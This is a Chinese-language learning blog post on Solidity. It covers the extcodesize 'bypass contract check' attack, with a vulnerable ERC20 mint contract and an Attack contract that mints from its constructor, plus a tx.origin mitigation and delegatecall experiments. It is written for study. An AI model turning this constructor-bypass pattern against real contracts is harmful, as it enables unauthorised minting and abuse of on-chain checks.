每日一学-day005

  • 0xKk
  • 更新于 2024-04-11 19:24
  • 阅读 188

每天进步一点点

这几天学习了 绕过合约检查攻击 并深入理解了delegatecall

绕过合约检查攻击(Bypassing Contract Check Attack)

原理:
一些合约会在函数里面检查msg.sender是否为一个合约地址,通过extcodesize > 0,如果大于0,则为一个合约地址(如果一个地址是合约地址,那么这个地址索引的内存就有代码,那么extcodesize就会大于0)。问题出在,在一个合约部署时,constructor里面,extcodesize = 0。攻击者就可以在合约的constructor里面调用被攻击合约的mint函数,从而绕过检查。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract A is ERC20{
    constructor()ERC20("",""){}

    //check a address is a contract
    function checkContract(address addr)public view returns(bool){
        uint size;
        //以太坊的内联汇编语言
        assembly{
            size := extcodesize(addr)
        }
        return size > 0;
    }

    //mint
    function mint(address to_,uint amount_)external {
        require(!checkContract(to_),"address is a contract address");
        _mint(to_, amount_);
    }
}

contract Attack{
    //get contract attacked address 
    A public a;

    //vertify ths bool is the address(this)`s code is empty
    bool public isContract;

    constructor(address addr){
        a = A(addr);
        //get ths bool is the address(this)`s code is empty
        isContract = a.checkContract(address(this));
        //the code of address(this) is empty while ths contract is creating by constructor
        a.mint(address(this), 100);
    }

    //text the mint after the constructor
    function badMint()external{
        a.mint(address(this), 100);
    }
}

注:
1,如何避免,如果一个合约想要绕过检查来与合约交互,肯定需要外部地址来调用,我们就可以通过检查tx.origin == msg.sender 加 extcodesize > 0 来判断一个地址是否为合约地址。如:
    //mint
    function mint(address to_,uint amount_)external {
        require(!checkContract(to_),"address is a contract address");
        require(tx.origin == msg.sender,"address is a contract address");
        _mint(to_, amount_);
    }

    然后再部署Attack合约时就会部署失败,可以看到预防成功。

屏幕截图 2024-04-10 220153.png

delegatecall深度理解

思考:
1,梳理一下逻辑,用户调用A合约,A合约调用B合约的mint()。整个过程中tx.origin为用户,mint()中msg.sender为A合约地址。
2,但是如果我们在A合约中调用B合约时,使用delegate调用,就可以让msg.sender为用户,是不是就可以重新通过检查,然后mint成功
3,结果我试了一下,整个函数调用过程成功了,但是在B合约中查询A合约地址的balance,神奇的是啥也没有。(真抓马)
原因:
call调用:mint()被调用的是在B合约环境下被执行
delegatecall:mint()被调用的是在A合约的环境下执行

我的理解是delegatecall会让A合约将B合约下的mint()函数copy到A合约下,然后在A合约下的环境被执行。如果mint()函数会操作一些B合约有的状态变量而A合约没有的状态变量。那么A合约就会找一遍自己有没有,如果有,则修改自己的。没有则添加(这里我尝试拿到A合约自己添加的状态变量的索引,试图访问一下。结果短时间并没有找到什么方法。所以打算等深入学习了EVM后再来解决这个问题)。

验证过程:
我在A合约下添加了一个跟B合约同名的状态变量,然后再A合约调用B合约的mint(),结果A合约下的状态变量成功修改。验证成功。以下是代码。
 contract A{
    mapping(address => uint256) public balanceOf;

    function f1(address addr)public returns(address){
        mint(addr,100);
        return addr;
    }

    function mint(address addr,uint256 amount)public{
        balanceOf[addr] = amount;
    }
 }
 contract B{
    mapping(address => uint256) public balanceOf;

    //获得A合约的实例
    A a;

    function delegatecallf1() public returns(address,bool){
        (bool success,bytes memory data) = address(a).delegatecall(//call是地址类型的方法,必须转换为地址类型
            abi.encodeWithSignature("f1(address)",address(this))
        );

        return (abi.decode(data, (address)),success);
    }

    constructor(A a_){
        a = a_;
    }
 }

部署A,B合约以后, 查看A,B合约下A的balanceOf image.png

调用A合约delegatecallf1()后,然后查看A合约下balanceOf变了,B合约下还是没有变

delelgatecall调用返回信息 image.png A合约下的balanceOf image.png B合约下的balanceOf image.png

总结

感觉如果没有了解delegatecall的话,还是容易出现貔貅一样的东西,只进不出。就像上个例子一样攻击者用delegatecall,虽然绕过了检查,但是什么也拿不到。

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
0xKk
0xKk
0xb9c0...f744
知识就是力量-- 知识提高认知,认知可以变现,现金就是力量!